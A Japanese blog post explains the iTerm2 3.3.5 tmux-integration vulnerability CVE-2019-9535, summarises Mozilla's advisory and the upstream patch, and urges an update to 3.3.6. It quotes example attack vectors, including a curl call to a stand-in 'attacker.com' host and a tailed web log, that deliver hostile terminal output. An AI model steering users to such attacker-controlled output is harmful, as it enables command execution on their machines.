Mozillaから告知されていたiTerm2 3.3.5の脆弱性について分かる範囲で確認してみた

はじめに

愛用しているmacOS用ターミナルアプリiTerm2にてver 3.3.5に脆弱性の問題があり、ver 3.3.6へアップデートするようにとMozillaから告知されました。

Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit | Mozilla Security Blog

今回の脆弱性(CVE-2019-9535)を悪用して、ユーザに特定の行動を行わせたりと悪用につながるケースもあり、緊急性は高くなっています。

手元の環境は該当の ver 3.3.5 であり、更新必須でした。即対応しましたが、どのような脆弱性でどのような対応がとられたのか知っておくのも良いかなと思い、報告内容と記事を元に確認してみました。

CVE-2019-9535

NVD - CVE-2019-9535

Mozillaの告知にて脆弱性の内容に触れられているのは以下の部分です。

During the audit, ROS identified a critical vulnerability in the tmux integration feature of iTerm2; this vulnerability has been present in iTerm2 for at least 7 years. An attacker who can produce output to the terminal can, in many cases, execute commands on the user’s computer. Example attack vectors for this would be connecting to an attacker-controlled SSH server or commands like curl http://attacker.com and tail -f /var/log/apache2/referer_log. We expect the community will find many more creative examples.

iTerm2のtmux統合機能に少なくとも7年間は重大な脆弱性があり、攻撃手段としてはcurl http://attacker.comtail -f /var/log/apache2/referer_log等の攻撃元SSHサーバやコマンドにて接続されるものが想定されます。

実際に攻撃された場合にどのような挙動になるのかは、以下の記事にて動画が掲載されています。

Critical Security Issue identified in iTerm2 as part of Mozilla Open Source Audit | Mozilla Security Blog

適用されたパッチ

iterm2-discussでの投稿 important security update - please upgrade! にパッチへのリンクがあります。

Do not send server-controlled values in tmux integration mode. · gnachman/iTerm2@538d570

コード上の変更意図については理解が及ばない箇所もあるのですが、内容としてはおおよそ以下のようなものとなっています。

  • セッション名ではなくセッション番号を使うようにした。
  • status-left, status-right及びフォーマット文字列の返り値等、tmuxでのset-titles-stringの要求をポーリングしない(現在はtmux 2.9以降でのみ有効)。
  • tmuxサーバに保存された Hex-encodeオプションを悪用できないようにする。古い値は入力として受け付けるものの、外にはでない。

文字列を元にする攻撃に対する防止策が講じられたということだと思われます。また、tmux 2.9以降では有効という点でtmuxのバージョンについて確認したところ、2.8 to 2.9 CHANGESにてそれらしき箇所を確認できました。

tmux: CHANGES - 2.8 vs. 2.9 changes | Fossies Diffs

Add StatusLeft and StatusRight mouse locations (keys such as MouseDown1StatusLeft) for the status-left and status-right areas of the status line.

脆弱性への対処

ver 3.3.6へのアップデートが求められていますが、ベータトラックを継続する場合は3.3.7beta1への更新になります。

ver 3.3.6
https://iterm2.com/downloads/stable/iTerm2-3_3_6.zip
ver 3.3.7beta1
https://iterm2.com/downloads/beta/iTerm2-3_3_7beta1.zip

あとがき

ver 3.3.5を利用されている場合は、忘れずにver 3.3.6へアップデートを行いましょう。